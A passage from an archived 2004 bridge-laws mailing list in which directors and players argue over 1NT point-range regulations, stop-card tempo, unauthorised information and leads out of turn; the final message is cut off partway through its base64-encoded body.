74A and Law 74C5. :-( Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Thu Jan 8 06:12:38 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Thu, 8 Jan 2004 16:12:38 +1000 Subject: [blml] Like a diamond in the sky Message-ID: RJH: >>At the table, South ethically Passed 5D, missing >>the good 6D slam. Todd: >What did the panel decide? Are you calling 5D >ethical because it was the only LA or because it >was the least suggested LA? RJH: I, and most of the panel, agreed that Pass was the least suggested of two LAs, and therefore Pass was not a Law 16 infraction. Todd: >Also, it's unclear from your post if Mr. Colker >agrees or disagrees with the AC's decision. We >know he has beef with North. The original TD and panellist Colker ruled that South had followed correct procedure throughout. When the original East-West appealed, the original Appeals Committee deemed the appeal without merit. Best wishes Richard James Hills -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From nigel.guthrie@ntlworld.com Thu Jan 8 06:22:36 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Thu, 8 Jan 2004 06:22:36 -0000 Subject: [blml] Range restrictions Message-ID: <021b01c3d5af$cf9753a0$129468d5@tinyhrieuyik> [Ton Kooijman] > We have a tournament in which systems where the range > for the 1NT -opening gets below 12 points are not > allowed. So no pair can have a convention card showing > such a weak 1 NT- opening. A pair opens 1NT with the > cards as given above. Normal bridge players wouldn't > dare to call a TD for it, but apparently we have a > couple. When questioned the player will say: 'I > considered my cards as falling in the range which is > described on my card'. So he is not trying to say that > he deviated from the agreement, no this call is part > of the agreement. Now it is the job of the TD to judge > this case. And my advise to all TD's in the world is > to concur with this evaluation and to explain to the > other side that they must be misled by rumours based on > 'puntenkul'. [: Nigel :] If an ordinary player were familiar with TFLB or the EBU Orange book, he would normally call the TD. but I agree with Ton, that a regular BLMler wouldn't dare to call the TD, especially as the opponent who claims that 11 HCP can be described as 12 HCP may well be a TD or WBFLC member, himself :) IMO, such a laxity engenders more "judgement" bedlam. Can we use judgement to count length instead of HCP? e.g. Our CC defines 2S = 5-9 HCP and 6-7 spades but without altering our description may we privately agree always to open 2S on hands like KQJx Qxx Qxx xxx upgrading the length because of the extra HCP? --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From hermandw@hdw.be Thu Jan 8 07:39:19 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 08 Jan 2004 08:39:19 +0100 Subject: [blml] Range restrictions In-Reply-To: <002c01c3d560$2f10c230$6bf8f0c3@LNV> References: <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> <009401c3d538$abf59870$c383b6d4@LNV> <3FFC5D19.5070404@hdw.be> <002c01c3d560$2f10c230$6bf8f0c3@LNV> Message-ID: <3FFD0927.6070907@hdw.be> No sorry Ton, we don't agree. But we're getting somewhere. Ton Kooijman wrote: >>Second question. >> >>Suppose an SO has issued system regulations under which a 1NT opening >>of 12-14 is classed pink, while any lesser openings are classed >>purple. In a particular tournament, purple systems are not allowed. >> >>The hand above turns up (AT98 AT98 KT9 T9) and some competitor opens >>it 1NT (announced as 12-14). Would you consider this a purple system? >> > > > > > We need to express our questions carefully. What does an actual opening of > 1NT have to do with the question whether the system as used is purple or > not. And how can you say that a 'lesser openings are classed purple'? > The actual opening, in conjunction with the player's statement that he considers this opening to be systemic, is an indication that this player is not playing system 12, but system 11.9. The question is whether system 11.9 is classed as purple or not? > We have a tournament in which systems where the range for the 1NT -opening > gets below 12 points are not allowed. So no pair can have a convention card > showing such a weak 1 NT- opening. A pair opens 1NT with the cards as given > above. Normal bridge players wouldn't dare to call a TD for it, but > apparently we have a couple. When questioned the player will say: 'I > considered my cards as falling in the range which is described on my card'. > So he is not trying to say that he deviated from the agreement, no this call > is part of the agreement. Now it is the job of the TD to judge this case. > And my advise to all TD's in the world is to concur with this evaluation and > to explain to the other side that they must be misled by rumours based on > 'puntenkul'. > Now this is an interesting piece of advice. > Hopefully we still agree. > We don't. There are three kinds of players. There are those who would not dream of opening that hand. "only 11", they say. Puntenkul, indeed, but these players exist, and we all know it. I would say they play system 12. Then there are those who would open this hand, and a few others besides. This hand is certainly worth 11.99, but they would open some others, so I would like to call their system 11.9. And then there are players who open far more 11-pointers, and give "I felt like opening" as their explanation. Without going as far as calling them cheats, I would like to call their system 11.5. Now I agree with Ton that explaining system 11.9 as 12-14 is no MI. But I believe it is up to the SO to give advice to its TD's as to what to do with system 11.9 as far as system classification is concerned. I urge SO's to tell their TD's to call this "purple", whereas Ton apparently says to SO's to give their TD's the advice to call it "pink". We have since seen Wayne's opinion, who agrees with me that to call 11.9 "pink" creates an almost insoluble problem as to what to do with system 11.5. And even if the whole world would agree that 11.5 is purple, that still leaves us with the awkward question as to what to do with 11.7. Because these questions are important. As far as MI is concerned, there is no big problem. If you are playing 11.7, and your partner explains as 12 (and we agree this includes 11.9), then there is MI, but hardly ever damage. But when we talk of system violations, there is no room for maneuvre. If the system is allowed, the result stands, if it isn't, we score Av-. Now if we allow 11.9, then faced with 11.7 a player has two choices. Either open and hope he'll get it past the TD, or not open. I believe that this creates a bias in favour of those players who can talk their way out of anything. And that is not how I want to be playing bridge. Whereas if we don't allow 11.9, all players know exactly where they stand. Don't open even 11.99, the TD will rule against you. But as I said, it's only an advice to SO's, who have to instruct their TD's on how to rule. > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From ereppert@rochester.rr.com Thu Jan 8 07:39:08 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 8 Jan 2004 02:39:08 -0500 Subject: [blml] Bridge Proprieties: Stop Card In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB150F@lonsc-s-031.europe.shell.com> Message-ID: On Wednesday, Jan 7, 2004, at 12:50 US/Eastern, Hinden, Frances SI-PXS wrote: > I always wait 10 seconds after an opponent's skip bid, even if the > stop card is > picked up earlier. I always keep the stop card on the table for 10 > seconds. I seem > to be in an extremely small minority (I'd say of one, except that I've > trained > my partners). > > However... [stories snipped] Points well taken. These would make good teaching aids. May I use them as such? :-) From hermandw@hdw.be Thu Jan 8 07:48:22 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 08 Jan 2004 08:48:22 +0100 Subject: [blml] Triumphs (was Range restrictions) In-Reply-To: References: Message-ID: <3FFD0B46.9040501@hdw.be> richard.hills@immi.gov.au wrote: > > Contrariwise, when Ozymandias died recently, > he had scored numerous national triumphs, and > gained numerous international caps. So, the > organisers of a recent national championship > thought it would be a good idea to order the > players to stand for a minute's silence. > > I was the only player in that room who > deliberately remained seated. I knew that > the late Ozymandias had gained his so-called > triumphs by consistent infractions of Law 74A > and Law 74C5. > Did you not use the Ozymandias parallel to refer to me a few weeks ago, Richard? I feel deeply offended that you would suggest I have played unethically in winning Australian national honours ! ;-) -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From ereppert@rochester.rr.com Thu Jan 8 07:57:27 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Thu, 8 Jan 2004 02:57:27 -0500 Subject: [blml] Bridge Proprieties: Stop Card In-Reply-To: Message-ID: <4D1778C8-41B0-11D8-938A-0030656F6826@rochester.rr.com> On Wednesday, Jan 7, 2004, at 14:25 US/Eastern, David Stevenson wrote: > I do find the idea of not waiting 10 seconds after a Skip Bid > "because no-one is going to bid in this position" silly. Apart from > the obvious [perhaps I have the odd hand that wants to bid, perhaps > one of the next two people needs the extra time to which they are > entitled, perhaps I believe rules should be followed] there is another > reason: It occurs to me that when one player has bid out of tempo (in this case by a fast call, usually pass, when a pause is mandated) other players will have lost their opportunity to use that in tempo time. To which, as you say above, they are entitled. It would then seem to me that such players are absolved (or should be absolved) of any need to consider their own pause (as long as it doesn't exceed the required tempo of the other bidder) as giving UI to partner. In Frances' first example, she implied that if her partner had not taken the required pause, she would perhaps, in working out whether to pass or double, have given UI to her partner. I do not see that this can be the case. Am I wrong? From blml@blakjak.com Thu Jan 8 08:19:26 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 08:19:26 +0000 Subject: [blml] Bridge Proprieties: Stop Card In-Reply-To: <4D1778C8-41B0-11D8-938A-0030656F6826@rochester.rr.com> References: <4D1778C8-41B0-11D8-938A-0030656F6826@rochester.rr.com> Message-ID: <2CuCs4BOKR$$Ewrp@blakjak.demon.co.uk> Ed Reppert wrote > >On Wednesday, Jan 7, 2004, at 14:25 US/Eastern, David Stevenson wrote: > >> I do find the idea of not waiting 10 seconds after a Skip Bid >>"because no-one is going to bid in this position" silly. Apart from >>the obvious [perhaps I have the odd hand that wants to bid, perhaps >>one of the next two people needs the extra time to which they are >>entitled, perhaps I believe rules should be followed] there is another reason: > >It occurs to me that when one player has bid out of tempo (in this case >by a fast call, usually pass, when a pause is mandated) other players >will have lost their opportunity to use that in tempo time. To which, >as you say above, they are entitled. It would then seem to me that such >players are absolved (or should be absolved) of any need to consider >their own pause (as long as it doesn't exceed the required tempo of the >other bidder) as giving UI to partner. In Frances' first example, she >implied that if her partner had not taken the required pause, she would >perhaps, in working out whether to pass or double, have given UI to her >partner. I do not see that this can be the case. Am I wrong? When your partner commits an infraction you cannot gain from it. So, she gave UI to pd because *he* had not paused. No, I think you are wrong. If an opponent fails to make a mandatory pause then I agree with you. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Thu Jan 8 08:24:22 2004 From: blml@blakjak.com (David Stevenson) Date: Thu, 8 Jan 2004 08:24:22 +0000 Subject: [blml] Triumphs (was Range restrictions) In-Reply-To: References: Message-ID: RJH wrote >RJH wrote: > >>>tallying their unearned - and therefore >>>meaningless - triumphs. > >DWS replied: > >>That has written off a billion triumphs in a >>million different fields of endeavour. >> >>Actually, Richard, some people think triumphs >>count as triumphs. > >RJH relates: > >In my humble opinion, "some people" are >choosing shadow over substance. > >When the late Keith McNeil died a decade ago, >I joined other players at the Aussie National >Championships in standing for a minute's >silence - respecting Keith McNeil's success >as an effective bridge administrator, a witty >bridge writer, and an ethical bridge player. > >But Keith McNeil never quite gained a national >bridge triumph. > >Contrariwise, when Ozymandias died recently, >he had scored numerous national triumphs, and >gained numerous international caps. So, the >organisers of a recent national championship >thought it would be a good idea to order the >players to stand for a minute's silence. > >I was the only player in that room who >deliberately remained seated. I knew that >the late Ozymandias had gained his so-called >triumphs by consistent infractions of Law 74A >and Law 74C5. > >:-( No doubt it is easy to find a specific case where we would all agree with you. But there are an enormous number of triumphs that would not have happened but for luck, or some such factor. They are unearned - but they are still triumphs, and belittling them takes away a very large part of the worth of human endeavour. Just consider in a bridge club when two very poor players have a night where everything goes right. Three slams are bid against them - all fail because of unlucky circumstances. They find killing defences for illogical reasons. But they have had a triumph. And writing it off as unearned I think is unfortunate, even if true. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From wayne.burrows@xtra.co.nz Thu Jan 8 08:43:19 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 8 Jan 2004 21:43:19 +1300 Subject: [blml] Triumphs (was Range restrictions) In-Reply-To: <3FFD0B46.9040501@hdw.be> Message-ID: <000f01c3d5c3$78055420$ce0858db@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of Herman De Wael > Sent: Thursday, 8 January 2004 7:48 p.m. > To: blml > Subject: Re: [blml] Triumphs (was Range restrictions) > > > richard.hills@immi.gov.au wrote: > > > > > Contrariwise, when Ozymandias died recently, > > he had scored numerous national triumphs, and > > gained numerous international caps. So, the > > organisers of a recent national championship > > thought it would be a good idea to order the > > players to stand for a minute's silence. > > > > I was the only player in that room who > > deliberately remained seated. I knew that > > the late Ozymandias had gained his so-called > > triumphs by consistent infractions of Law 74A > > and Law 74C5. > > > > Did you not use the Ozymandias parallel to refer to me a few weeks > ago, Richard? > I feel deeply offended that you would suggest I have played > unethically in winning Australian national honours ! Which national honours did you win unethically? ;-) Wayne > > ;-) > > -- > Herman DE WAEL > Antwerpen Belgium > http://users.skynet.be/hermandw/index.html > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From hermandw@hdw.be Thu Jan 8 09:04:22 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 08 Jan 2004 10:04:22 +0100 Subject: [blml] Triumphs (was Range restrictions) In-Reply-To: <000f01c3d5c3$78055420$ce0858db@Desktop> References: <000f01c3d5c3$78055420$ce0858db@Desktop> Message-ID: <3FFD1D16.2000008@hdw.be> Wayne Burrows wrote: > >>> >> >>Did you not use the Ozymandias parallel to refer to me a few weeks >>ago, Richard? >>I feel deeply offended that you would suggest I have played >>unethically in winning Australian national honours ! > > > Which national honours did you win unethically? > > ;-) > all of them ! > Wayne > >>;-) >> >>-- >>Herman DE WAEL >>Antwerpen Belgium >>http://users.skynet.be/hermandw/index.html >> >> >>_______________________________________________ >>blml mailing list >>blml@rtflb.org >>http://www.amsterdamned.org/mailman/listinfo/blml >> > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From t.kooyman@worldonline.nl Thu Jan 8 09:17:42 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 8 Jan 2004 10:17:42 +0100 Subject: [blml] Range restrictions References: <000001c3d569$4edbb5d0$b2ce36d2@Desktop> Message-ID: <003101c3d5d1$0128fb50$ae81b6d4@LNV> Wayne: > I do not agree. > > The regulations should not legislate for 'good' judgement and against > 'bad' judgement. > > Therefore if another player says that I considered that my ... > > QJ2 > Q32 > K32 > J432 > > falls within the range 12-14 then you must also accept that players > 'inferior' judgement. > > Wayne I really don't understand what you are trying to say. Of course a TD has the duty to weigh the arguments players use for their 'irregular' actions taken. And if a player values a lousy 11 count (I assume you forgot a couple of jacks) as belonging within the range of 12-14 he misinforms his opponents about the system he is playing. You don't seem to understand the kernel of the issue. ton From t.kooyman@worldonline.nl Thu Jan 8 09:40:56 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 8 Jan 2004 10:40:56 +0100 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> <005001c3d58a$ed120490$6347e150@endicott> <00e701c3d598$a06dc6c0$129468d5@tinyhrieuyik> Message-ID: <003201c3d5d1$013cf880$ae81b6d4@LNV> Nigel: >But please may we address the specific example, under > discussion. Suppose that *by agreement* you would always > open 1NT on an 11 count with good intermediates like... > AT98 AT98 K98 T9 I prefer not to use *by agreement* here. I know pairs who open 1NT with (14)15 - 17 with a good 14 where 2 tens added to the 14HCP are enough to do so. That should be on the convention card. My example is an extreme one which I brought up to nail those who think to have solved all problems by giving the number 12 in counting jacks up to aces an absolute weight in evaluating the strength of a hand. > Q1. After the auction 1N-3N, during the play, an > opponent asks about the requirements for your 1N > opening bid. Is it OK to reply 12-14 HCP? > > Q2. Suppose that a successful defence is predicated on > declarer having only 11 HCP, so defenders play safe > instead, only to find that declarer has such a good > eleven count, after all. If a more aggressive defence > would succeed, should the TD give redress? > > I have asked this question before, without answer. Sorry I didn't answer this. My answer is 'no' > In case anybody still misses the point, here is yet > another example. Some players agree their notrump > range as a *good 12* to a *poor 15*. They won't open > 1N on the above hand -- or on the other example hand > QJx QJx QJx Kxxx > But they would open 1N on, say > KQx KQx KQx Txxx > Is it OK for them to describe their range as 12-14? > If instead, they tell the truth, are they stupidly > submitting themselves to an unnecessary handicap, > as Ton implies? The truth here is 'good 12 to a poor 15'? I don't see how they could be handicapped by saying so. ton From t.kooyman@worldonline.nl Thu Jan 8 09:59:47 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 8 Jan 2004 10:59:47 +0100 Subject: [blml] Range restrictions References: Message-ID: <003301c3d5d1$01fee8f0$ae81b6d4@LNV> Nigel: >Q2. Suppose that a successful defence is predicated on >declarer having only 11 HCP, so defenders play safe >instead, only to find that declarer has such a good >eleven count, after all. If a more aggressive defence >would succeed, should the TD give redress? > >I have asked this question before, without answer. Richard James Hills answers: If the partnership has an explicit or implicit agreement to open a 12-14 hcp 1NT opening with 11 hcp, and if the partnership has failed to inform the defenders that the term "hcp" must be taken with a grain of salt, then MI has occurred, and the TD may consider a score adjustment. ***** Let us be happy that we agree on your other answers; but not on this one. Not if your undefined grain of salt means that a player has to write down AT98 AT98 K9 T98 as an exception for the 12-14 NT. You are not a bridgeplayer but a proud bookkeeper handling playing cards. ton From t.kooyman@worldonline.nl Thu Jan 8 10:20:04 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 8 Jan 2004 11:20:04 +0100 Subject: [blml] Range restrictions References: <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> <009401c3d538$abf59870$c383b6d4@LNV> <3FFC5D19.5070404@hdw.be> <002c01c3d560$2f10c230$6bf8f0c3@LNV> <3FFD0927.6070907@hdw.be> Message-ID: <003401c3d5d1$02146cc0$ae81b6d4@LNV> > No sorry Ton, we don't agree. > But we're getting somewhere. I described your approach in a previous message as one of a proud bookkeeper handling playing cards and not of a bridge player. That in essence describes our different views. It is a misunderstanding to think that the strength of bridge hands can be described by a method in which an ace counts for 4 .....and a jack for 1 stop. And players should not be forced to add this trivial statement to their convention card. And of course this creates problems in describing bidding methods. But I don't like to solve problems in bridge with non-bridge solutions. I don't have much to add. ton From wayne.burrows@xtra.co.nz Thu Jan 8 10:54:56 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Thu, 8 Jan 2004 23:54:56 +1300 Subject: [blml] Range restrictions In-Reply-To: <003101c3d5d1$0128fb50$ae81b6d4@LNV> Message-ID: <001601c3d5d5$db2aee40$ce0858db@Desktop> > -----Original Message----- > From: Ton Kooijman [mailto:t.kooyman@worldonline.nl] > Sent: Thursday, 8 January 2004 9:18 p.m. > To: Wayne Burrows; 'Herman De Wael'; 'blml' > Subject: Re: [blml] Range restrictions > > > > Wayne: > > > I do not agree. > > > > The regulations should not legislate for 'good' judgement > and against > > 'bad' judgement. > > > > Therefore if another player says that I considered that my ... > > > > QJ2 > > Q32 > > K32 > > J432 > > > > falls within the range 12-14 then you must also accept that players > > 'inferior' judgement. > > > > Wayne > > I really don't understand what you are trying to say. > Of course a TD has the duty to weigh the arguments players > use for their > 'irregular' actions > taken. And if a player values a lousy 11 count (I assume you > forgot a couple > of jacks) I just can't count :-0 > as belonging within the range of 12-14 he > misinforms his opponents > about the system he is playing. And if another player values a 'good' 11 count as belonging within the range of 12-14 he also misinforms his opponents. You see "one man's rock is another man's island". One player's lousy 11-count is another player's good 11-count. There is no universal agreement on how to judge a bridge hand. > You don't seem to understand the kernel of the issue. Maybe, maybe not. I understand the point I am trying to make in this post and its predecessor. Do you understand? Wayne > > ton > > > From mamos@blueyonder.co.uk Thu Jan 8 12:05:35 2004 From: mamos@blueyonder.co.uk (mamos) Date: Thu, 8 Jan 2004 12:05:35 -0000 Subject: [blml] 2 out of turn opening leads References: <5.2.0.9.0.20040108094728.00b746e8@pop-server.bigpond.net.au> Message-ID: <007d01c3d5df$b92c0900$cd682452@mikeamos> ----- Original Message ----- From: "Tony Musgrove" To: Sent: Wednesday, January 07, 2004 10:48 PM Subject: Re: [blml] 2 out of turn opening leads > At 04:46 PM 7/01/2004 +0000, you wrote: > >Laval Dubreuil wrote > >>Hi Blmrs, > >> > >>Yesterday in my club: > >> > >>South is dealer but East lead (face up) with CA. > >>Routine: dealer asked West "no Club lead" and CA returned in hand. > >> > >>Before West selected his card, Est made an other OTOL with HQ.... > >> > >>HQ becomes a major penalty card but ? > > > Eventually you may be able to forbid West to lead in every suit. > > Tony (Sydney) > > Yea Yea -- you could always tell him next time to lead 4 cards one of each suit and that would save a lot of time :))) > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From t.kooyman@worldonline.nl Thu Jan 8 12:06:22 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Thu, 8 Jan 2004 13:06:22 +0100 Subject: [blml] Range restrictions References: <001601c3d5d5$db2aee40$ce0858db@Desktop> Message-ID: <009f01c3d5e1$2e86f420$ae81b6d4@LNV> Wayne: > And if another player values a 'good' 11 count as belonging within the > range of 12-14 he also misinforms his opponents. > > You see "one man's rock is another man's island". > > One player's lousy 11-count is another player's good 11-count. > > There is no universal agreement on how to judge a bridge hand. > > > You don't seem to understand the kernel of the issue. > > Maybe, maybe not. I understand the point I am trying to make in this > post > and its predecessor. Do you understand? I think I do; let me try to use another description. You think, with many others, that bridge hands can be described accuretely with the numbers 11, 12, 13 having an absolute meaning. I think otherwise, given a limited life time and limited amounts of paper for most of us. ton From hermandw@hdw.be Thu Jan 8 12:32:00 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 08 Jan 2004 13:32:00 +0100 Subject: [blml] Range restrictions In-Reply-To: <003401c3d5d1$02146cc0$ae81b6d4@LNV> References: <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> <009401c3d538$abf59870$c383b6d4@LNV> <3FFC5D19.5070404@hdw.be> <002c01c3d560$2f10c230$6bf8f0c3@LNV> <3FFD0927.6070907@hdw.be> <003401c3d5d1$02146cc0$ae81b6d4@LNV> Message-ID: <3FFD4DC0.7000408@hdw.be> Ton Kooijman wrote: > >>No sorry Ton, we don't agree. >>But we're getting somewhere. > > > I described your approach in a previous message as one of a proud bookkeeper > handling playing cards and not of a bridge player. Yes, and what is wrong with that when we are not talking of playing bridge but of regulating it? > That in essence describes our different views. Indeed. > It is a misunderstanding to think that the strength of bridge hands can be > described by a method in which an ace counts for 4 .....and a jack for 1 > stop. A misunderstanding I do not ascribe to. > And players should not be forced to add this trivial statement to their > convention card. > I agree wholeheartedly. > And of course this creates problems in describing bidding methods. But I > don't like to solve problems in bridge with non-bridge solutions. > But this is not a problem in bridge. This is a problem in regulating. What is wrong with a regulation which basically says "you are not allowed to play a system by which you systematically open 1NT on a hand that does not have at least 12HCP"? I don't see anything wrong with that. Perhaps I am wrong in thinking that the current regulations are equal to that, but I cannot see, basically, what is wrong with this type of regulation. You seem to be writing a regulation that says : "you are not allowed to play a system by which you systematically open 1NT on a hand that does not have 12HCP or an equivalent value". It is this "equivalent" that I have trouble with. It is badly defined, and as a regulation, that is a problem we can do without. > I don't have much to add. > That's a pity. > ton > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From hermandw@hdw.be Thu Jan 8 12:36:58 2004 From: hermandw@hdw.be (Herman De Wael) Date: Thu, 08 Jan 2004 13:36:58 +0100 Subject: [blml] Range restrictions In-Reply-To: <003201c3d5d1$013cf880$ae81b6d4@LNV> References: <007001c3d521$b2b158f0$c383b6d4@LNV> <005001c3d58a$ed120490$6347e150@endicott> <00e701c3d598$a06dc6c0$129468d5@tinyhrieuyik> <003201c3d5d1$013cf880$ae81b6d4@LNV> Message-ID: <3FFD4EEA.5050101@hdw.be> Ton Kooijman wrote: > > Nigel: > > >>But please may we address the specific example, under >>discussion. Suppose that *by agreement* you would always >>open 1NT on an 11 count with good intermediates like... >>AT98 AT98 K98 T9 > > > > I prefer not to use *by agreement* here. I know pairs who open 1NT with > (14)15 - 17 with a good 14 where 2 tens added to the 14HCP are enough to do > so. That should be on the convention card. My example is an extreme one > which I brought up to nail those who think to have solved all problems by > giving the number 12 in counting jacks up to aces an absolute weight in > evaluating the strength of a hand. > > OK Ton, so you are OK with the original hand, but not with this second one. Other TD's would be OK with both. I don't have any problem with that, as long as we're concerned with issues of MI. But I do have a problem with it when we are dealing with system regulation. You would allow the first hand (in my fictitious example of the pink and purple systems) but not the second one. Other TD's would allow both. I would allow neither, but my players will appreciate that they are being ruled on a fixed yardstick. > >>Q1. After the auction 1N-3N, during the play, an >>opponent asks about the requirements for your 1N >>opening bid. Is it OK to reply 12-14 HCP? >> >>Q2. Suppose that a successful defence is predicated on >>declarer having only 11 HCP, so defenders play safe >>instead, only to find that declarer has such a good >>eleven count, after all. If a more aggressive defence >>would succeed, should the TD give redress? >> >>I have asked this question before, without answer. > > > > Sorry I didn't answer this. My answer is 'no' > To question Q1 or Q2, or both? FWIW, my answers are: Q1: yes Q2: no both presuming the "12th" point is a very good one (almost as good as the 4 JT's of the original). -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From ehaa@starpower.net Thu Jan 8 13:21:31 2004 From: ehaa@starpower.net (Eric Landau) Date: Thu, 08 Jan 2004 08:21:31 -0500 Subject: [blml] Range restrictions In-Reply-To: <3FFD4DC0.7000408@hdw.be> References: <003401c3d5d1$02146cc0$ae81b6d4@LNV> <007001c3d521$b2b158f0$c383b6d4@LNV> <3FFC104A.8090302@hdw.be> <009401c3d538$abf59870$c383b6d4@LNV> <3FFC5D19.5070404@hdw.be> <002c01c3d560$2f10c230$6bf8f0c3@LNV> <3FFD0927.6070907@hdw.be> <003401c3d5d1$02146cc0$ae81b6d4@LNV> Message-ID: <5.2.0.9.0.20040108081547.01fc71a0@pop.starpower.net> At 07:32 AM 1/8/04, Herman wrote: >You seem to be writing a regulation that says : "you are not allowed >to play a system by which you systematically open 1NT on a hand that >does not have 12HCP or an equivalent value". >It is this "equivalent" that I have trouble with. It is badly defined, >and as a regulation, that is a problem we can do without. We all have trouble with "equivalent". But that's the point. Some of us have less trouble with it than others. We call those folks "expert bidders". The ability to judge what consistitutes "equivalence" to some agreed range of HCP is one of the skills that separates better players from poorer ones. That's what competitive play is about, and we shouldn't want to have regulations that take a key aspect of the differentiation of levels of bridge skill out of the game. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 Fax (301) 589-4618 From richard_willey@symantec.com Thu Jan 8 16:01:58 2004 From: richard_willey@symantec.com (Richard Willey) Date: Thu, 8 Jan 2004 08:01:58 -0800 Subject: [blml] Range Restrictions Message-ID: SGkgQWxsDQoNCkFmdGVyIGEgZnVydGhlciB3ZWVrIHdhdGNoaW5nIHRoaXMgZGViYXRlLCBJIHdv dWxkIGxpa2UgdG8gcmV2aXNpdCBhIA0KcHJvcG9zYWwgdGhhdCBtZXQgd2l0aCByZXNvdW5kaW5n IGluZGlmZmVyZW5jZTogIEhvdyBzaG91bGQgYW4gZXN0YWJsaXNoZWQgDQpwYXJ0bmVyc2hpcCBk ZXNjcmliZSB0aGVpciBhZ3JlZW1lbnRzIHRvIG90aGVyIHBhaXJzLiAgW0FzIHVzdWFsLCBJIGFt IA0KcHJlZG9taW5hdGVseSBjb25jZXJuZWQgd2l0aCBPbmxpbmUgQnJpZGdlIHVzaW5nIGFuIGVs ZWN0cm9uaWMgcGxheWluZyANCmVudmlyb25tZW50LiAgUGxlYXNlIG5vdGU6ICBJIGFtIHByaW1h cmlseSBpbnRlcmVzdGVkIGluIGRlc2NyaWJpbmcgDQpwYXJ0bmVyc2hpcCBhZ3JlZW1lbnRzIHJh dGhlciB0aGFuIHJlZ3VsYXRpbmcgdGhlbV0NCg0KSSBhcmd1ZSB0aGF0IGFueSBtZXRyaWMgb3Ig YWxnb3JpdGhtIHRoYXQgYXR0ZW1wdHMgdG8gc3VtbWFyaXplIGEgdG9waWMgYXMgDQpjb21wbGV4 IGFzIGhhbmQgZXZhbHVhdGlvbiBpcyBib3VuZCB0byBmYWlsLiAgRm9yY2luZyBwbGF5ZXJzIHRv IGRlc2NyaWJlIA0KdGhlaXIgYWdyZWVtZW50cyB1c2luZyBhbnkgYXJiaXRyYXJ5IHN0YW5kYXJk LCByZWdhcmRsZXNzIG9mIHdoZXRoZXIgaXQgDQpoYXBwZW5zIHRvIGJlICBNaWx0b24gV29ya+KA mXMgSGlnaCBDYXJkIFBvaW50cyBvciBLYXBsYW4tUnViZW7igJlzIGFkanVzdGVkIA0KcG9pbnQg Y291bnQgb3Igd2hhdGV2ZXIgd2lsbCBlbmNvdW50ZXIgY29uc3RhbnQgcHJvYmxlbXMuICBBbGwg b2YgdGhlIA0KYXJndW1lbnRzIHRoYXQgd2UgYXJlIGN1cnJlbnRseSBzZWVpbmcgYWJvdXQg4oCc anVkZ21lbnTigJ0gYXJlIGFuIGV4Y2VsbGVudCANCmV4YW1wbGUgb2YgdGhpcyBwcmluY2lwbGUg YXQgd29yay4NCg0KRnJvbSBteSBwZXJzcGVjdGl2ZSwgaXQgd291bGQgYmUgbXVjaCBiZXR0ZXIg 